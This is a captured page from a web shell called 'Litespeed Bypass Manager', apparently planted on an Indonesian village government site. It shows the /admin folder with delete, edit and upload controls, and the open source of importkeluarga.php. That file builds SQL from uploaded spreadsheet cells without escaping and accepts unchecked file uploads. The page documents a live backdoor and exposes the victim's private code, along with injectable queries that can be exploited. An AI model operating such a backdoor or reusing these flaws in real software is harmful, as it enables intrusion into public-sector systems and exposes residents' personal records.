Litespeed Bypass Manager
Direktori:
/admin
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📁
Template
Folder
Hapus
📁
assets
Folder
Hapus
📁
assets2
Folder
Hapus
📁
calender
Folder
Hapus
📁
ckeditor
Folder
Hapus
📁
css
Folder
Hapus
📁
datatables
Folder
Hapus
📁
fonts
Folder
Hapus
📁
images
Folder
Hapus
📁
includes
Folder
Hapus
📁
js
Folder
Hapus
📁
leaflet
Folder
Hapus
📁
scripts
Folder
Hapus
📁
spreadsheet-reader-master
Folder
Hapus
📁
uploads
Folder
Hapus
📁
vendor
Folder
Hapus
📄 aksi.php
Edit
Hapus
📄 aksiGetPenduduk.php
Edit
Hapus
📄 aksiGetPenduduk2.php
Edit
Hapus
📄 apbdes.php
Edit
Hapus
📄 artikel.php
Edit
Hapus
📄 belanja_proses.php
Edit
Hapus
📄 buat_surat.php
Edit
Hapus
📄 buat_surat2.php
Edit
Hapus
📄 cari_penduduk.php
Edit
Hapus
📄 config.php
Edit
Hapus
📄 daftar_proses.php
Edit
Hapus
📄 data.php
Edit
Hapus
📄 data_surat.php
Edit
Hapus
📄 error_log
Edit
Hapus
📄 excel_reader.php
Edit
Hapus
📄 exportexcelindividu.php
Edit
Hapus
📄 exportexcelkeluarga.php
Edit
Hapus
📄 exportxls.php
Edit
Hapus
📄 functions.php
Edit
Hapus
📄 hapus_artikel_proses.php
Edit
Hapus
📄 hapus_legal_proses.php
Edit
Hapus
📄 hapus_lembaga_proses.php
Edit
Hapus
📄 hapus_profil_proses.php
Edit
Hapus
📄 hapus_sig_proses.php
Edit
Hapus
📄 hapus_surat.php
Edit
Hapus
📄 hapus_user_proses.php
Edit
Hapus
📄 hidden_aduan_proses.php
Edit
Hapus
📄 hidden_profil_proses.php
Edit
Hapus
📄 home.php
Edit
Hapus
📄 importindividu.php
Edit
Hapus
📄 importkeluarga.php
Edit
Hapus
📄 index.php
Edit
Hapus
📄 individu.php
Edit
Hapus
📄 keluarga.php
Edit
Hapus
📄 konfigurasi.php
Edit
Hapus
📄 laporan_bulan.php
Edit
Hapus
📄 legal.php
Edit
Hapus
📄 lembaga.php
Edit
Hapus
📄 lembaga_proses.php
Edit
Hapus
📄 lembaga_ubah_proses.php
Edit
Hapus
📄 logo_proses.php
Edit
Hapus
📄 modal_detail.php
Edit
Hapus
📄 modal_disposisi.php
Edit
Hapus
📄 modal_selesai.php
Edit
Hapus
📄 modal_tindaklanjut.php
Edit
Hapus
📄 modal_ubah_anggaran.php
Edit
Hapus
📄 modal_ubah_artikel.php
Edit
Hapus
📄 modal_ubah_belanja.php
Edit
Hapus
📄 modal_ubah_individu.php
Edit
Hapus
📄 modal_ubah_keluarga.php
Edit
Hapus
📄 modal_ubah_legal.php
Edit
Hapus
📄 modal_ubah_lembaga.php
Edit
Hapus
📄 modal_ubah_profil.php
Edit
Hapus
📄 modal_ubah_realisasi.php
Edit
Hapus
📄 modal_ubah_realisasibelanja.php
Edit
Hapus
📄 modal_ubah_sig.php
Edit
Hapus
📄 modal_ubah_user.php
Edit
Hapus
📄 modal_view_individu.php
Edit
Hapus
📄 modal_view_keluarga.php
Edit
Hapus
📄 modal_view_mutasipenduduk.php
Edit
Hapus
📄 modal_view_surat.php
Edit
Hapus
📄 mutasi_penduduk.php
Edit
Hapus
📄 notif.js
Edit
Hapus
📄 notif.php
Edit
Hapus
📄 notif_pengaduan.php
Edit
Hapus
📄 notifikasi.php
Edit
Hapus
📄 pemdes.php
Edit
Hapus
📄 pendapatan_proses.php
Edit
Hapus
📄 penduduk_keluar.php
Edit
Hapus
📄 penduduk_masuk.php
Edit
Hapus
📄 pengaduan.php
Edit
Hapus
📄 profil.php
Edit
Hapus
📄 profil_proses.php
Edit
Hapus
📄 profil_ubah_proses.php
Edit
Hapus
📄 proses_konfigurasi.php
Edit
Hapus
📄 proses_penduduk_keluar.php
Edit
Hapus
📄 proses_penduduk_masuk.php
Edit
Hapus
📄 proses_upload.php
Edit
Hapus
📄 regUser.php
Edit
Hapus
📄 sig.php
Edit
Hapus
📄 simpan_surat.php
Edit
Hapus
📄 surat.php
Edit
Hapus
📄 surat_aksi.php
Edit
Hapus
📄 tambah_artikel_proses.php
Edit
Hapus
📄 tambah_legal_proses.php
Edit
Hapus
📄 tambah_sig_proses.php
Edit
Hapus
📄 tampil_aduan_proses.php
Edit
Hapus
📄 tampil_profil_proses.php
Edit
Hapus
📄 template_surat.php
Edit
Hapus
📄 template_surat2.php
Edit
Hapus
📄 to_xls.php
Edit
Hapus
📄 ubahDisposisi.php
Edit
Hapus
📄 ubahPassword.php
Edit
Hapus
📄 ubahSelesai.php
Edit
Hapus
📄 ubahStatus_user_proses.php
Edit
Hapus
📄 ubahTindakan.php
Edit
Hapus
📄 ubah_artikel_proses.php
Edit
Hapus
📄 ubah_belanja_proses.php
Edit
Hapus
📄 ubah_individu_proses.php
Edit
Hapus
📄 ubah_keluarga_proses.php
Edit
Hapus
📄 ubah_legal_proses.php
Edit
Hapus
📄 ubah_pendapatan_proses.php
Edit
Hapus
📄 ubah_realisasi_proses.php
Edit
Hapus
📄 ubah_realisasibelanja_proses.php
Edit
Hapus
📄 ubah_sig_proses.php
Edit
Hapus
📄 ubah_user_proses.php
Edit
Hapus
📄 viewBottomProfil.php
Edit
Hapus
📄 viewTopProfil.php
Edit
Hapus
📄 viewapbdes.php
Edit
Hapus
📄 viewartikel.php
Edit
Hapus
📄 viewbelanja.php
Edit
Hapus
📄 viewbpd.php
Edit
Hapus
📄 viewer.php
Edit
Hapus
📄 viewindividu.php
Edit
Hapus
📄 viewkeluarga.php
Edit
Hapus
📄 viewlegal.php
Edit
Hapus
📄 viewlpmd.php
Edit
Hapus
📄 viewmutasipenduduk.php
Edit
Hapus
📄 viewpemdes.php
Edit
Hapus
📄 viewrealisasi.php
Edit
Hapus
📄 viewrealisasibelanja.php
Edit
Hapus
📄 viewsig.php
Edit
Hapus
📄 viewsuara.php
Edit
Hapus
📄 viewsurat.php
Edit
Hapus
📄 viewuser.php
Edit
Hapus
Edit File: importkeluarga.php
<?php include_once '../librari/inc.koneksidb.php'; require('spreadsheet-reader-master/php-excel-reader/excel_reader2.php'); require('spreadsheet-reader-master/SpreadsheetReader.php'); session_start(); $hak_akses = isset($_SESSION['hak_akses']); if (!isset($_SESSION['username']) && $hak_akses == "") { ?> <script language="JavaScript"> alert('Anda Belum Login. Silahkan Login dahulu!'); document.location = '../login.php'; </script> <?php } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <!-- Css --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.1/dist/css/bootstrap.min.css"> <!-- Fonts --> <link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700' rel='stylesheet' type='text/css'> <link href='http://fonts.googleapis.com/css?family=Yanone+Kaffeesatz:400,700' rel='stylesheet' type='text/css'> <!-- Css --> <link rel="stylesheet" href="css/nivo-slider.css" type="text/css" /> <link rel="stylesheet" href="css/owl.carousel.css"> <link rel="stylesheet" href="css/bootstrap.min.css"> <link rel="stylesheet" href="css/font-awesome.min.css"> <link rel="stylesheet" href="css/style.css"> <link rel="stylesheet" href="css/responsive.css"> <link rel="stylesheet" href="css/bootstrap.css"> <!-- jS --> <script src="js/jquery.min.js" type="text/javascript"></script> <script src="js/bootstrap.min.js" type="text/javascript"></script> <script src="https://cdn.jsdelivr.net/npm/jquery@3.5.1/dist/jquery.slim.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.1/dist/js/bootstrap.bundle.min.js"></script> </head> <body> <section id="blog"> <div class="container"> <div class="row"> <div class="col-md-12 clearfix"> <div class="header"> <h1 >Unggah Data Keluarga</h1> </div> <div class="alert alert-info" style="margin-top:10px;"> <p><strong>Petunjuk Unggah Data Keluarga:</strong></p> <p>1. Format file excel.XLSX sesuai template yang ada di link download. <br> 2. Jangan merubah kolom, baris dan format yang disediakan. Pembacaan data dimulai dari baris ke-2. <br> 3. Tampilkan file untuk review data yang akan di upload ke Data Base.</p> <p><a href="Template/Keluarga Template.xlsx" class="alert-link"> <i class="fa fa-cloud-download"></i> Download Template Excel Data Keluarga. </a></p> </div> <div class="container mb-4"> <h2>Pilih File</h2> <p>Pastikan file sesuai dengan petunjuk. Tampilkan data sebelum melakukan Submit data, penolakan data apabila terjadi Nomer KK yang kosong. jika KK sudah ada di database maka dilakukan update komponen atribut. <strong>Notifikasi Data sukses jika file berhasil diupload.</strong></p> <form action="" method="post" enctype="multipart/form-data"> <p>Custom file:</p> <div class="custom-file mb-3"> <input type="file" class="custom-file-input" id="customFile" name="filependuduk" required="required"/> <label class="custom-file-label" for="customFile">Choose file</label> </div> <div class="mt-3 pull-right "> <button type="submit" name="upload" class="btn btn-success">Tampil</button> <a href="index.php" class="btn btn-danger">Batal</a> </div> </form> </div> <script> // Add the following code if you want the name of the file appear on select $(".custom-file-input").on("change", function() { var fileName = $(this).val().split("\\").pop(); $(this).siblings(".custom-file-label").addClass("selected").html(fileName); }); </script> <?php if (isset($_POST['upload'])) { //upload data excel kedalam folder uploads $target_dir = "uploads/".basename($_FILES['filependuduk']['name']); move_uploaded_file($_FILES['filependuduk']['tmp_name'],$target_dir); $Reader = new SpreadsheetReader($target_dir); ?> <div class="row" style="margin-top:10px;"> <div class="col-md-9"> <h2><?php echo basename($_FILES['filependuduk']['name']); ?></h2> </div> <div class="col-md-3"> <script> $(document).ready(function() { // Sembunyikan alert validasi kosong $("#isi").hide(); }); </script> <div id="isi" class="alert alert-success" style="margin-top:10px;"> <p><strong>Data sukses ditampilkan : <span id='jumlah_isi'></span></strong></p> </div> </div> </div> <div class='table-responsive mb-2'> <table id="my-grid" class="table table-striped" style="font-size:12px;"> <thead > <tr class="table-info"> <th>No</th> <th>No KK</th> <th>Nama Kepala Keluarga</th> <th>Alamat</th> <th>Dusun</th> <th>RT</th> <th>RW</th> <th>Ekonomi</th> </tr> </thead> <tbody> <?php $no=1; $isi=0; foreach ($Reader as $Key => $Row) { // import data excel mulai baris ke-3 (karena ada header pada baris 2) if ($Key < 2) continue; if ($Row[1] == "") continue; // Lewat data pada baris ini (masuk ke looping selanjutnya / baris selanjutnya) if (!empty($Row[7]) == "") $ekonomi = ((!empty($Row[7])) ? "" : " N/A"); else $ekonomi =$Row[7]; ?> <tr> <td><?=$no; ?></td> <td><?=$Row[1]; ?></td> <td><?=$Row[2]; ?></td> <td><?=$Row[3]; ?></td> <td><?=$Row[4]; ?></td> <td><?=$Row[5]; ?></td> <td><?=$Row[6]; ?></td> <td><?=$ekonomi; ?></td> </tr> <?php $isi++; $no++; } ?> </tbody> </table> <div class="mt-1 mb-1"> <script> $(document).ready(function() { // Ubah isi dari tag span dengan id jumlah_kosong dengan isi dari variabel kosong $("#jumlah_isi").html('<?php echo $isi ?>'); $("#isi").show(); // Munculkan alert validasi kosong }); </script> <form action="" method="POST"> <div class="custom-file mb-3"> <?php ?> <input type="text" value="<?php echo basename($_FILES['filependuduk']['name']); ?>" name="fileimport" hidden/> </div> <button type="submit" name="import" class="btn btn-warning" >Submit</button> </div> </form> </div> <?php } ?> <div id="importdata"> <?php if (isset($_POST['import'])) { $target_dir2 = "uploads/".basename($_POST['fileimport']); $Reader2 = new SpreadsheetReader($target_dir2); $no=1; $isi=0; $update=0; foreach ($Reader2 as $Key2 => $Row2) { // import data excel mulai baris ke-3 (karena ada header pada baris 2) if ($Key2 < 2) continue; if ($Row2[1] == "") continue; // Lewat data pada baris ini (masuk ke looping selanjutnya / baris selanjutnya) if (!empty($Row2[7]) == "") $ekonomi = ((!empty($Row2[7])) ? "" : " N/A"); else $ekonomi =$Row2[7]; $kepalakeluarga=addslashes($Row2[2]); $sqlcek = "SELECT * from keluarga where id_keluarga='$Row2[1]'"; $querycek = mysql_query($sqlcek, $koneksiDbs) or die("Validasi".mysql_error()); $jumlah = mysql_num_rows($querycek); if ($jumlah >0){ $sqlupdate = "update keluarga set kepala_keluarga='$kepalakeluarga',alamat='$Row2[3]',dusun='$Row2[4]',rt='$Row2[5]',rw='$Row2[6]',ekonomi='$ekonomi' where id_keluarga='$Row2[1]'"; $queryupdate = mysql_query($sqlupdate,$koneksiDbs) or die ("Gagal query".mysql_error()); $update++; } if ($jumlah < 1) { $sql = "insert into keluarga (id_keluarga,kepala_keluarga,alamat,dusun,rt,rw,ekonomi) values ('$Row2[1]','$kepalakeluarga','$Row2[3]','$Row2[4]','$Row2[5]','$Row2[6]','$ekonomi')"; $query = mysql_query($sql,$koneksiDbs) or die ("Gagal query".mysql_error()); $isi++; } $no++; } if ($isi+$update > 0){ ?> <div class="alert alert-info"> <strong>Berhasil Upload Data Keluarga.</strong> Jumlah data Keluarga ditambahkan sebanyak <?php echo $isi;?>, Jumlah data Keluarga diperbarui sebanyak <?php echo $update;?> </div> <?php } if ($isi+$update < 1){ ?> <div class="alert alert-danger"> <strong>Tidak ada Upload Data!</strong> </div> <?php } unlink($target_dir2); } ?> </div> </div> </div> </div> </div> </body> </html>
Simpan
Catatan: Mengedit file biner tidak disarankan.